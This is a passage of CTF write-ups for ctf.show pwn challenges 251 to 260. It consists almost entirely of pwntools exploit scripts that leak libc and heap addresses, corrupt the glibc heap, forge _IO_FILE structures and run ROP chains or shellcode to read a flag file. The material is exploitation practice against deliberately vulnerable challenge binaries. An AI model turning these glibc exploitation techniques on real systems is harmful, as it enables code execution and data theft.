    io.sendlineafter('Please input idx: ', str(idx))

for i in range(10):
    add()
for i in range(7):
    dele(10-1-i)

bkdoor(1)
show(1)
libc_leak = u64(io.recvuntil('\x7f', drop=False)[-6:].ljust(8, '\0'))
libc_base = libc_leak - 0x1ecbe0
libc.address = libc_base
stdout = libc_base + 0x1ed6a0
stack_addr = libc.sym.environ
ret = libc_base + 0x0000000000022679
rdi = libc_base + 0x0000000000023b6a
rsi = libc_base + 0x000000000002601f
rdx_r12 = libc_base + 0x0000000000119211
jmp_rsi = libc_base + 0x000000000010d5dd

dele(0)
add()
add(0x90, '\0'*0x88 + p32(0x90*8+1))
add(0x70)
dele(1)

dele(2)
add(0x50)
add(0x50, '\0'*0x28 + p64(0x91) + p64(stdout) + p64(0))
add()  # 5
add(0x80, p64(0xfbad1800) + p64(0)*3 + p64(stack_addr) + p64(stack_addr+8)*2)

stack_addr = u64(io.recvuntil('\x7f', drop=False)[-6:].ljust(8, '\0'))

dele(5)
dele(2)
add(0x50, '\0'*0x28 + p64(0x91) + p64(stack_addr-0x120) + p64(0))
add()
payload = flat([
```

```
    rdi, stack_addr-0x108, libc.sym.gets
])
add(0x80, payload)
mmp = flat([
    rdi, ((stack_addr) >> 12) << 12,
    rsi, 0x2000,
    rdx_r12, 7, 0,
    libc.sym.mprotect,
    rdi, 0, rsi, stack_addr,
    rdx_r12, 0x100, 0,
    libc.sym.read,
    jmp_rsi
])

sleep(0.5)
io.sendline(mmp)
sleep(0.5)
io.sendline(asm(shellcraft.cat('/flag')))

io.interactive()
```

pwn 252

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote("pwn.challenge.ctf.show",28176)
elf = ELF('./pwn')
libc = ELF('./libc-2.35.so')
def add(index, size, content):
    io.sendlineafter('> ', '1')
    io.sendlineafter('> ', str(index))
    io.sendlineafter('> ', str(size))
    io.sendlineafter('Enter content: ', content)
def delete(index):
    io.sendlineafter('> ', '2')
    io.sendlineafter('> ', str(index))
def show(index):
    io.sendlineafter('> ', '3')
    io.sendlineafter('> ', str(index))
for i in range(8):
    add(i, 0x80, 'aaaa')
add(8, 0x80, 'bbbb')
for i in range(8):
    delete(i)
show(7)
```

```
unsortedbin_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = unsortedbin_addr - 0x219ce0
_IO_list_all = libc_base + libc.sym['_IO_list_all']
show(0)
key = u64(io.recv(5).ljust(8, '\x00'))
heap_base = key << 12
system_addr = libc_base + libc.sym['system']
for i in range(8):
    add(i, 0x80, 'aaaa')
for i in range(8):
    add(i, 0x70, 'aaaa')
add(8, 0x70, 'aaaa')
for i in range(8):
    delete(i)
delete(8)
delete(7)
for i in range(7):
    add(i, 0x70, 'aaaa')
p1 = p64(key ^ _IO_list_all)
add(0, 0x70, p1)
add(1, 0x70, 'aaa')
add(2, 0x70, 'aaa')
target_addr = heap_base + 0xc30
add(0, 0x70, p64(target_addr))
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
p2 = '\x00'
p2 = p2.ljust(0x28, '\x00') + p64(1)
p2 = p2.ljust(0xa0, '\x00') + p64(target_addr + 0xe0)
p2 = p2.ljust(0xd8, '\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xe0 + 0xe0, '\x00') + p64(target_addr + 0x210)
add(1, 0x200, p2)
one_gadget = libc_base + 0xebcf1
p3 = '\x00'
p3 = p3.ljust(0x68, '\x00') + p64(one_gadget)
add(2, 0x200, p3)
io.sendlineafter('> ', '4')

io.interactive()
```

pwn 253

```
from pwn import *
context.arch = "amd64"
io = remote("pwn.challenge.ctf.show",28235)
elf = ELF("./pwn")
```

```python
libc = ELF("./libc/libc.so.6")
def pwn():
    payload = "LOGIN | r00t CTFshow admin"
    io.sendafter("miao miao miao~~~\n",payload)
    payload = "CAT | r00t CTFshow "+"\xff"
    io.sendafter("miao miao miao~~~\n",payload)
def choice(num):
    pwn()
    io.sendlineafter("choice:\n",str(num))
def add(index,size,content="\x00"):
    choice(1)
    io.sendlineafter("idx:\n",str(index))
    io.sendlineafter("size:\n",str(size))
    io.sendafter("content:\n",content)
def delete(index):
    choice(2)
    io.sendlineafter("idx:\n",str(index))
def show(index):
    choice(3)
    io.sendlineafter("idx:\n",str(index))
def edit(index,content):
    choice(4)
    io.sendlineafter("idx:\n",str(index))
    io.sendafter("content:\n",content)

add(0,0x420,'aaa')
add(1,0x430,'bbb')
add(2,0x418,'ccc')
delete(0)
add(3,0x440,'ddd')
show(0)
io.recvuntil('Context:\n')
libc_base=u64(io.recv(6).ljust(8,'\x00'))-0x21a0d0
success('libc_base >> '+hex(libc_base))
io.recv(10)
heap_base=u64(io.recv(6).ljust(8,'\x00'))-0x290
success('heap_base >> '+hex(heap_base))
pop_rdi_ret=libc_base+0x000000000002a3e5
pop_rsi_ret=libc_base+0x000000000002be51
pop_rdx_pop_r12_ret=libc_base+0x000000000011f497
ret=libc_base+0x0000000000029cd6
pop_rax_ret=libc_base+0x0000000000045eb0
syscall_ret=libc_base+libc.search(asm('syscall\nret')).next()
stderr=libc_base+libc.sym['stderr']
setcontext=libc_base+libc.sym['setcontext']
close=libc_base+libc.sym['close']
read=libc_base+libc.sym['read']
```

```python
write=libc_base+libc.sym['write']
next_chain = 0
fake_IO_FILE = p64(0)*4
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0xffff)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(heap_base+0xc18-0x68)
fake_IO_FILE +=p64(setcontext+61)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_base+0x200)
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(heap_base+0xb30)
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libc_base+0x2160d0)
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(heap_base+0xb30+0x10)
flag_addr=heap_base+0x17d0
payload1=fake_IO_FILE+p64(flag_addr)+p64(0)+p64(0)*5+p64(heap_base+0x2050)+p64(ret)
delete(2)
add(6,0x418,payload1)
delete(6)
edit(0,p64(libc_base+0x21a0d0)*2+p64(heap_base+0x290)+p64(stderr-0x20))
add(5,0x440,'aaaaa')
add(7,0x430,'./ctfshow_flag\x00')
add(8,0x430,'eee')

rop_data = [
    pop_rdi_ret,
    0,
    close,
    pop_rax_ret,
    2,
    pop_rdi_ret,
    flag_addr,
    syscall_ret,
    pop_rdi_ret,
    0,
    pop_rsi_ret,
    flag_addr + 0x200,
    pop_rdx_pop_r12_ret,
    0x100,
```

```
    0,
    read,
    pop_rdi_ret,
    1,
    pop_rsi_ret,
    flag_addr + 0x200,
    pop_rdx_pop_r12_ret,
    0x100,
    0,
    write
]

add(9,0x430,flat(rop_data))
delete(5)
add(10,0x450,p64(0)+p64(1))
delete(8)
edit(5,p64(libc_base+0x21a0e0)*2+p64(heap_base+0x1370)+p64(heap_base+0x28e0-0x20+3))
pwn()
io.sendlineafter('plz input your cat choice:\n',str(1))
io.sendlineafter('plz input your cat idx:',str(11))
io.sendlineafter('plz input your cat size:',str(0x450))

io.interactive()
```

pwn 254

```
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show',28171)
elf = ELF('./pwn')
libc = ELF('./libc/libc.so.6')
def add(choise):
    io.sendlineafter('enter your command: \n',str(1))
    io.sendlineafter('choise: ',str(choise))
def delete(index):
    io.sendlineafter('enter your command: \n',str(2))
    io.sendlineafter('Index:',str(index))
def read(index,context):
    io.sendlineafter('enter your command: \n',str(3))
    io.sendlineafter('Index:',str(index))
    io.sendafter('Message:',context)
def write(index):
    io.sendlineafter('enter your command:',str(4))
    io.sendlineafter('Index:',str(index))
```

```
19
20  io.sendlineafter("enter your key >>\n",str(8))
21
22  add(2)
23  add(1)
24  add(1)
25  add(1)
26
27  delete(0)
28
29  delete(2)
30  write(0)
31  io.recvuntil('Message: \n')
32  leak_libc = u64(io.recv(6).ljust(8,b'\x00'))
33  io.recv(2)
34
35  leak_heap = u64(io.recv(6).ljust(8,b'\x00'))
36  libc_base = leak_libc - 0x219ce0
37  io_list_all = libc_base+libc.symbols['_IO_list_all']
38  _IO_write_jumps = libc_base
39  open_addr = libc_base+libc.symbols['open']
40  read_addr = libc_base+libc.symbols['read']
41  write_addr = libc_base+libc.symbols['write']
42  pop_rax = libc_base + 0x0000000000045eb0
43  pop_rdi = libc_base + 0x000000000002a3e5
44  pop_rsi = libc_base + 0x000000000002be51
45  pop_rdx_r12 = libc_base + 0x000000000011f497
46  leave_ret=libc_base + 0x00000000000562ec
47  _IO_wfile_jumps = libc_base + 0x2160c0
48  syscall = libc_base + 0x11ea20
49  magic_gadget = libc_base + 0x16a1fa
50  add_rsp_418 = libc_base + 0x000000000012135d
51  add(1)
52  delete(2)
53
54  io_list=p64(0xdeadbeef)
55  io_list+=p64(~(2| 0x8 | 0x800)+(1<<64))
56  io_list+=p64(0)*3
57  io_list+=p64(0)+p64(1)
58  io_list+=p64(0)
59  io_list+=p64(0xaaaaaaaa)*2
60  io_list+=p64(leak_heap-0xf60-0x18)
61  io_list+=p64(0)*10
62  io_list+=p64(leak_heap-0xf50)
63  io_list+=p64(0)*4
64  io_list+=p64(leak_heap-0xe60)
65  io_list+=p64(add_rsp_418)
```

```
io_list+=p64(_IO_wfile_jumps)

wide_data=p64(leak_heap-0xf58-0x28)
wide_data+=p64(leave_ret)
wide_data+=p64(0)*12
wide_data+=p64(leak_heap-0xf50-0x28)
wide_data+=p64(0)*8
wide_data+=p64(0)
wide_data+=p64(0)*3
wide_data+=p64(magic_gadget)
wide_data+=p64(leak_heap-0xe80-0x8-0x68)*3

rop=p64(pop_rdi)+p64(2)
rop+=p64(pop_rsi)+p64(leak_heap-0xb56)
rop+=p64(pop_rax)+p64(2)
rop+=p64(pop_rdx_r12)
rop+=p64(0)*2
rop+=p64(syscall)
rop+=p64(pop_rdi)+p64(3)
rop+=p64(pop_rsi)+p64(leak_heap)
rop+=p64(pop_rdx_r12)+p64(0x200)+p64(0)
rop+=p64(read_addr)
rop+=p64(pop_rdi)+p64(1)
rop+=p64(pop_rsi)+p64(leak_heap)
rop+=p64(pop_rdx_r12)+p64(0x100)+p64(0)
rop+=p64(pop_rax)+p64(1)
rop+=p64(write_addr)
payload=p64(libc_base+0x21a1f0)*2+p64(io_list_all)+p64(io_list_all-0x20)
payload+=p64(leak_heap-0x1040)
payload+=p64(0)*15
payload+=io_list
payload+=wide_data
payload+=p64(0)*(62+24+12)
payload+='./flag\x00\x00'
payload+=rop
read(0,payload.ljust(0x880,b'\x00'))
add(3)
add(1)
io.sendlineafter('command: \n',str(5))

io.interactive()
```

pwn 255

```
from pwn import *
```

```python
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28211)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def choice(i):
    io.sendlineafter("enter your command: \n",str(i))

def add(mod):
    choice(1)
    io.sendlineafter("choise: ",str(mod))

def dele(index):
    choice(2)
    io.sendlineafter("Index: \n",str(index))

def edit(index,message):
    choice(3)
    io.sendlineafter("Index: ",str(index))
    io.sendafter("Message: \n",message)

def show(index):
    choice(4)
    io.sendlineafter("Index: ",str(index))

io.sendlineafter("enter your key >>\n",str(10))

add(2)
add(2)
add(2)
add(2)
add(2)
dele(2)
dele(0)
show(0)
io.recvuntil("Message: \n")
leak_addr = u64(io.recv(8))
heap_base = leak_addr - 0x1810
leak_addr = u64(io.recv(8))
libc_base = leak_addr - 0x1f2cc0
_IO_list_all = libc_base + libc.sym["_IO_list_all"]
setcontext = libc_base + libc.sym["setcontext"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
magic_gadget = libc_base + libc.sym['svcudp_reply'] + 26
pop_rax_ret = 0x00000000000446c0 + libc_base
pop_rdi_ret = 0x000000000002daa2 + libc_base
pop_rsi_ret = 0x0000000000037c0a + libc_base
```

```
pop_rdx_rbx_ret = 0x0000000000087729 + libc_base
syscall_ret = 0x00000000000883b6 + libc_base
leave_ret = 0x0000000000052d72 + libc_base
ret = 0x000000000002d446 + libc_base
add_rsp_ret = 0x0000000000103936 + libc_base

dele(1)
dele(3)
dele(4)
add(1)
add(1)
add(2)
add(1)
dele(7)
dele(8)
add(1)
add(1)
add(1)

fake_io_addr = heap_base + 0x22d0
flag_addr = heap_base + 0x2540
shellcode_addr = heap_base + 0x2540
shellcode = "./flag".ljust(0x8,"\x00")
shellcode += p64(add_rsp_ret)
shellcode =  shellcode.ljust(0x18, '\x00')
shellcode += p64(shellcode_addr)
shellcode =  shellcode.ljust(0x28, '\x00')
shellcode += p64(leave_ret)
shellcode += p64(0)*5
shellcode += p64(pop_rax_ret) + p64(2)
shellcode += p64(pop_rdi_ret) + p64(flag_addr)
shellcode += p64(pop_rsi_ret) + p64(0)
shellcode += p64(pop_rdx_rbx_ret) + p64(0) + p64(0)
shellcode += p64(syscall_ret)
shellcode += p64(pop_rax_ret) + p64(0)
shellcode += p64(pop_rdi_ret) + p64(3)
shellcode += p64(pop_rsi_ret) + p64(flag_addr+0x300)
shellcode += p64(pop_rdx_rbx_ret) + p64(0x60) + p64(0)
shellcode += p64(syscall_ret)
shellcode += p64(pop_rax_ret) + p64(1)
shellcode += p64(pop_rdi_ret) + p64(1)
shellcode += p64(pop_rsi_ret) + p64(flag_addr+0x300)
shellcode += p64(pop_rdx_rbx_ret) + p64(0x60) + p64(0)
shellcode += p64(syscall_ret)

chunkA = "chunka"
chunkA =  chunkA.ljust(0xe0, '\x00')
```

```
chunkA += p64(fake_io_addr+0x200)
chunkB = "chunkb"
chunkB = chunkB.ljust(0x68, '\x00')
chunkB += p64(magic_gadget)

fake_IO_FILE =  p64(0)
fake_IO_FILE += p64(0xab1-0x30)
fake_IO_FILE =  fake_IO_FILE.ljust(0x48, '\x00')
fake_IO_FILE += p64(shellcode_addr)
fake_IO_FILE =  fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(0xffffffffffffffff)
fake_IO_FILE =  fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(libc_base+0x1f5720)
fake_IO_FILE += p64(0xffffffffffffffff)
fake_IO_FILE =  fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE += p64(fake_io_addr+0xe0)
fake_IO_FILE =  fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(_IO_wfile_jumps)
fake_IO_FILE =  fake_IO_FILE.ljust(0xe0, '\x00')
fake_IO_FILE += chunkA
fake_IO_FILE =  fake_IO_FILE.ljust(0x200, '\x00')
fake_IO_FILE += chunkB
payload = ""
payload += p64(heap_base)+p64(_IO_list_all-0x20)
payload += fake_IO_FILE
payload += shellcode
payload = payload.ljust(10*0x110-0x10,"\x00")
payload += p64(0) + p64(0xab1)
dele(10)
add(3)
edit(8,payload)
dele(3)
add(3)
choice(6)

io.interactive()
```

pwn 256

```
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote("pwn.challenge.ctf.show",28168)
libc = ELF('./libc/libc.so.6')

def add(choice):
```

```
    io.sendlineafter("enter your command: \n",str(1))
    io.sendlineafter("choise: ",str(choice))

def delete(index):
    io.sendlineafter("enter your command: \n",str(2))
    io.sendlineafter("Index: \n",str(index))

def read_data(index,content):
    io.sendlineafter("enter your command: \n",str(3))
    io.sendlineafter("Index: ",str(index))
    io.sendafter("Message: ",content)

def write_data(index):
    io.sendlineafter("enter your command: \n",str(4))
    io.sendlineafter("Index: ",str(index))

io.sendlineafter("enter your key >>\n",str(8))
add(2)
add(1)
add(1)
add(1)
delete(0)
delete(2)
write_data(0)
io.recvuntil("Message: \n")
libc_base=u64(io.recv(6).ljust(8,b'\x00')) - 0x219ce0
io.recv(2)
heap_base=u64(io.recv(6).ljust(8,b'\x00')) - 0x13c0
add(1)
delete(2)
io_list_all = libc_base + libc.symbols['_IO_list_all']
_IO_wfile_jumps = libc_base+0x2160c0
system = libc_base + libc.symbols['system']
leave_ret = libc_base + 0x00000000000562ec
magic_gadget = libc_base + 0x16a1fa
pop_rsp_ret = libc_base + 0x0000000000035732
pop_rdi_ret = libc_base + 0x000000000002a3e5
add_rsp_ret = 0x000000000003a889 + libc_base
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_r12_ret = libc_base + 0x000000000011f497
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
pop_rax_ret = libc_base + 0x0000000000045eb0
syscall = libc_base + 0xea5b9

rop=p64(pop_rdi_ret)
```

```
rop+=p64(heap_base+0x518)
rop+=p64(pop_rsi_ret)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)
rop+=p64(pop_rdi_ret)
rop+=p64(3)
rop+=p64(pop_rsi_ret)
rop+=p64(heap_base+0xb40)
rop+=p64(pop_rdx_r12_ret)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)
rop+=p64(pop_rdi_ret)
rop+=p64(1)
rop+=p64(pop_rsi_ret)
rop+=p64(heap_base+0xb40)
rop+=p64(pop_rdx_r12_ret)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(write_addr)

wide_data=p64(0)*21
wide_data+=p64(leave_ret)
wide_data+=p64(0)*3
wide_data+="./flag\x00\x00"
wide_data+=p64(add_rsp_ret)-
wide_data+=p64(0)
wide_data+=p64(heap_base+0x450-0x68+(8*29))
wide_data+=p64(magic_gadget)
wide_data+=rop

io_file=p64(~(2 | 0x8 | 0x800)+(1<<64))
io_file+=p64(0)*3
io_file+=p64(0)+p64(1)
io_file+=p64(0)*3
io_file+=p64(heap_base+0x538-0x20)
io_file+=p64(0)*10
io_file+=p64(heap_base+0x450)
io_file+=p64(0)*6
io_file+=p64(_IO_wfile_jumps)

payload=p64(libc_base+0x21a1f0)*2+p64(io_list_all)+p64(io_list_all-0x20)
payload+=p64(0)*7
payload+=p64(heap_base+0x370)
payload+=p64(0)*14
```

```
payload+=io_file
payload+=wide_data

read_data(0,payload.ljust(0x880,b'\x00'))
add(3)
add(1)
io.sendlineafter("command: \n",str(5))

io.interactive()
```

pwn 257

```
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = remote("pwn.challenge.ctf.show",28205)
libc = ELF('./libc.so.6')
elf = ELF('./pwn')

def choice(s):
    io.sendlineafter('enter your command: \n', str(s))
def add(idx):
    choice(1)
    io.sendlineafter('choise:', str(idx))
def delete(idx):
    choice(2)
    io.sendlineafter('Index: \n', str(idx))
def edit(idx, content):
    choice(3)
    io.sendlineafter('Index: ', str(idx))
    io.sendafter('Message: \n', content)
def show(idx):
    choice(4)
    io.sendlineafter('Index: ', str(idx))

io.recvuntil('enter your key >>\n')
io.sendline('8')
add(2)
add(1)
add(1)
add(1)
delete(0)
delete(2)
show(0)
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8, "\x00")) - 0x1f2cc0
io.recvuntil('\x00\x00')
```

```
heap_base = u64(io.recv(8).ljust(8, "\x00")) - 0x13c0
add(1)
delete(2)
pop_rdi = libc_base + libc.search(asm('pop rdi; ret;')).next()
pop_rsi = libc_base + libc.search(asm('pop rsi; ret;')).next()
pop_rdx12 = libc_base + libc.search(asm('pop rdx; pop r12; ret;')).next()
leave_ret = libc_base + libc.search(asm('leave; ret;')).next()
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
io_all = libc_base + libc.sym['_IO_list_all']
chunk0 = heap_base + 0x290
magic_gadget = libc_base + libc.sym['svcudp_reply'] + 0x1a
add_18 = libc_base + 0x000000000003b3b9
chain = libc_base + 0x1f3760
lock = libc_base + 0x1f5720
wide_data = libc_base + 0x1f2880
wfile = libc_base + libc.sym['_IO_wfile_jumps']
orw_addr = chunk0 + 0x148
orw = './flag\x00\x00'
orw += p64(pop_rdx12) + p64(0) + p64(chunk0 + 0x30)
orw += p64(pop_rdi) + p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(open_addr)
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(read_addr)
orw += p64(pop_rdi) + p64(orw_addr + 0x100)
orw += p64(puts_addr)

pay = p64(0) + p64(leave_ret) + p64(0) + p64(io_all - 0x20)
pay += p64(0) * 3
pay += p64(0)
pay += p64(0) * 3
pay += p64(chain)
pay += p64(0) * 3
pay += p64(lock)
pay += p64(0)
pay += p64(chunk0 + 0xe0)
pay += p64(wide_data)
pay += p64(0) * 6
pay += p64(wfile + 8)
pay += p64(chunk0 + 0xf0)
pay += p64(0) * 6
pay += p64(magic_gadget)
pay += p64(0) * 2
```

```
pay += p64(add_18)
pay += p64(chunk0 + 0x140 - 0x18)
pay += p64(chunk0 - 0x10)
pay += orw
edit(0, pay.ljust(0x880, '\x00'))
add(3)
add(1)
choice(5)

io.interactive()
```

pwn 258

```
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = remote("pwn.challenge.ctf.show",28170)
elf = ELF('./pwn')
libc = ELF("./libc-2.23.so")
def add(namelen,meslen,name,mess):
        io.recvuntil('>>')
        io.sendline('1')
        io.recvuntil('name')
        io.sendline(str(namelen))
        io.recvuntil('name')
        io.send(name)
        io.recvuntil('message')
        io.sendline(str(meslen))
        io.recvuntil('message')
        io.send(mess)
        io.recvuntil('Done!')
def dele(index):
        io.recvuntil('>>')
        io.sendline('2')
        io.recvuntil('index')
        io.sendline(str(index))
        io.recvuntil('Done!')
def edit(index,size,cont):
        io.recvuntil('>>')
        io.sendline('3')
        io.recvuntil('index')
        io.sendline(str(index))
        io.recvuntil('size')
        io.sendline(str(size))
        io.recvuntil('Hello ')
        re = io.recvuntil(' you')[:-4]
```

```
        io.recvuntil('>')
        io.send(cont)
        io.recvuntil('Done!')
        return re

def moreedit(index,addr1,addr2):
        io.recvuntil('>>')
        io.sendline('5')
        io.recvuntil('index')
        io.sendline(str(index))
        io.recvuntil('>')
        io.send(addr1)
        io.recvuntil('again!>')
        io.send(addr2)
        io.recvuntil('Done!')
        return re

add(0,0x90,'','aaa\n')
add(0,0x90,'','bbb\n')
add(0,0x90,'','a'*0x20+'\n')
add(0,0x90,'','\n')
add(0,0x90,'','\n')
edit(0,3,'bbb\n')
dele(1)
dele(0)
add(0,0x90,'','aaa\n')
addr = u64(edit(0,0,'').ljust(8,'\x00'))
heap = addr & 0xfffffffffffff000
add(0x10,0x90,p64(heap+0x130)+p64(heap+0x130),'ddd\n')
dele(0)
edit(0,0x10,p64(heap+0x110)+p64(heap+0x110))
add(0,0x90,'',p64(0)*2+'\n')
addr2 = u64(edit(1,0,'').ljust(8,'\x00'))
libc_base = addr2 - (0x00007f0fa487cb78- 0x7f0fa44b8000)
malloc_hook = libc_base +libc.symbols['__malloc_hook']
one = libc_base + 0xf1147
edit(0,0x10,p64(addr2)*2)
dele(2)
add(0,0x90,'','\n')
add(0,0x90,'','\n')
add(0,0x90,'','\n')
add(0,0x90,'','\n')
edit(5,0,'')
dele(5)
edit(5,0x10,p64(heap+0x0f8)*2)
add(0,0x90,'',p64(0)*2+'\n')
moreedit(1,p64(malloc_hook-0x10),p64(heap+0x040))
```

```
add(8,0x90,p64(one),p64(one)+'\n')
io.sendline('1')

io.interactive()
```

pwn 259

```
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = remote("pwn.challenge.ctf.show",28246)
libc=ELF('./libc/libc-2.33.so')
c_l=[]

def add(size):
    io.sendlineafter(">> ",'1')
    io.sendlineafter('size: ',str(size))

def edit(ind,size,text,heap=0,off=0):
    for i in range(0,ind):
        off+=c_l[i]
    io.sendlineafter('>> ','2')
    io.sendlineafter("size: ",str(size))
    io.sendlineafter('offset: ',str(off))
    io.sendlineafter('content: ',text)
    if heap:
        c_l.append(size)

def edit1(off,size,text):
    io.sendlineafter('>> ','2')
    io.sendlineafter("size: ",str(size))
    io.sendlineafter('offset: ',str(off))
    io.sendlineafter('content: ',text)

def free(ind):
    off=0x10
    for i in range(0,ind):
            off+=c_l[i]
    print(c_l)
    io.sendlineafter('>> ','3')
    io.sendlineafter('idx: ',str(off))

def show():
    io.sendlineafter('>> ','4')


```

```
def calc_mmap(addr):
    h_a=hex(addr)[2:].strip('L')
    real_add=h_a[:3]
    h_a=h_a[3:]
    e=[]
    h_c=[]
    h_a=h_a[::-1]
    for i in range(0,len(h_a),3):
        h_c.append(h_a[i:i+3][::-1])
    for i in h_c:
        if e==[]:
            e.append(hex(int(i,16)^0x180)[2:])
        else:
            l=len(i)
            e.append(hex(int(e[-1][3-l:],16)^int(i,16))[2:])
    e=e[::-1]
    real_add=int(''.join(e),16)<<12
    return real_add

add(0x20)
edit(0,0x30,p64(0)+p64(0x31),1)
edit(1,0x30,p64(0)+p64(0x31),1)
edit(2,0x30,p64(0)+p64(0x31),1)
edit(3,0x30,p64(0)+p64(0x31),1)
edit(4,0x30,p64(0)+p64(0x31),1)
edit(5,0x30,p64(0)+p64(0x31),1)
edit(6,0x30,p64(0)+p64(0x31),1)
edit(7,0x30,p64(0)+p64(0x31),1)
edit(8,0x30,p64(0)+p64(0x31),1)
edit(9,0x30,p64(0)+p64(0x31),1)
free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)

free(7)
add(0x28)
free(8)
free(7)

c_l=c_l[:-3]
show()
io.readuntil('content: ')
d=u64(io.readuntil('1. alloc',drop=1).ljust(8,b'\x00'))
```

```
fake_heap=calc_mmap(d)
print(hex(fake_heap))
add(0x28)
add(0x28)
edit(7,0x30,p64(0)+p64(0x31),1)
edit(8,0x30,p64(0)+p64(0x31),1)
free(7)
add(0x28)
c_l=c_l[:-2]

edit(7,0x430,p64(0)+p64(0x431)+p64(0)*5+p64(0x31)+p64(0)*5+p64(0x31)+p64(0)*4+
p64(0x30)+p64(0x31),1)
edit(8,0x30,p64(0)+p64(0x31),1)
edit(9,0x30,p64(0)+p64(0x31),1)

free(7)
show()

io.read(9)
main_arena=0
data=io.read(8)
io.readuntil('exit')
if '1. ' in data:
    edit(7,0x430,p64(0)+p64(0x431)+'a')
    show()
    io.read(9)
    main_arena=u64(('\x00'+io.read(6)[1:]).ljust(8,b'\x00'))-0x60
    edit(7,0x430,p64(0)+p64(0x431)+'\x00')
else:
    main_arena=u64(data[:data.find('\x7f')+1])-0x60

malloc_hook=main_arena-0x10
libc.address=malloc_hook-libc.sym['__malloc_hook']
free_hook=libc.sym['__free_hook']
system=libc.sym['system']
top_chunk=main_arena+0x60
wfile_jump=libc.sym['_IO_wfile_jumps']
func_table=libc.address+0x1e35c8
arg_table=libc.address+0x1eb218
io_list_all=libc.sym['_IO_list_all']
gadget=libc.address+0x8ef80
add(0x428)
fake_io_add=fake_heap+0x440+0x30+0x450+0x30+0x30
fake_io=p64(0x68732f6e69622f)+\
    p64(0)+p64(system)+p64(system)+\
    p64(system+1)+p64(system+3)+p64(system+2)+\
    p64(system+5)+p64(0)+\
```

```
    p64(0)+p64(0)+p64(0)+p64(0)+\
    p64(0)+p64(0)+p32(0)+p64(0)+\
    p16(0)+p8(0)+p8(0)+p64(0)+\
    p64(0)+p64(0)+p64(fake_io_add+0x8)+\
    p64(0)+p64(0)+p64(0)+p32(0)+p8(0)*20+\
    p64(wfile_jump+0x30)+\
    p64(0)+p64(fake_io_add)

c_l=[]
edit(0,0x440,p64(0)+p64(0x441),1)
edit(1,0x30,p64(0)+p64(0x31),1)
edit(2,0x450,p64(0)+p64(0x451),1)
edit(3,0x30,p64(0)+p64(0x31),1)
edit(4,0x30,p64(0)+p64(0x31),1)
free(2)
add(0x500)

edit(2,0x8,p64(func_table-0x20),off=0x28)
free(0)
add(0x500)

edit(2,0x10,p64(fake_heap)*2,off=0x20)
edit(0,0x10,p64(fake_heap+0x440+0x30)*2,off=0x20)
add(0x448)
add(0x438)

free(2)
add(0x500)
edit(2,0x8,p64(arg_table-0x20),off=0x28)
free(0)
add(0x500)
edit(2,0x10,p64(fake_heap)*2,off=0x20)
edit(0,0x10,p64(fake_heap+0x440+0x30)*2,off=0x20)
add(0x448)
add(0x438)

edit(5,0x440,p64(0)+p64(0x441),1)
edit(6,0x30,p64(0)+p64(0x31),1)
edit(7,0x30,p64(0)+p64(0x31),1)

free(2)
add(0x500)
edit(2,0x8,p64(io_list_all-0x20),off=0x28)
free(5)
add(0x500)
edit(2,0x10,p64(fake_heap+0x440+0x30+0x450+0x30+0x30)*2,off=0x20)
edit(5,0x10,p64(fake_heap+0x440+0x30)*2,off=0x20)
```

```
add(0x448)
add(0x438)
edit(5,len(fake_io),fake_io)

free(2)
add(0x700)
edit(2,0x8,p64(top_chunk-0x20),off=0x28)
free(0)
edit(0,0x10,p64(gadget),off=ord('s')*8+16)
add(0x700)

io.interactive()
```

pwn 260

```
from pwn import *
from SomeofHouse import HouseOfSome
context.log_level = 'debug'
context.arch = 'amd64'
io = remote("pwn.challenge.ctf.show",28246)
libc = ELF("./libc/libc.so.6", checksec=None)
io.recvuntil(b"[+] printf: ")
printf_addr = int(io.recvuntil(b"\n", drop=True), 16)

def add(size):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"size> ", str(size))

def write(addr, size, content):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"size> ", str(size))
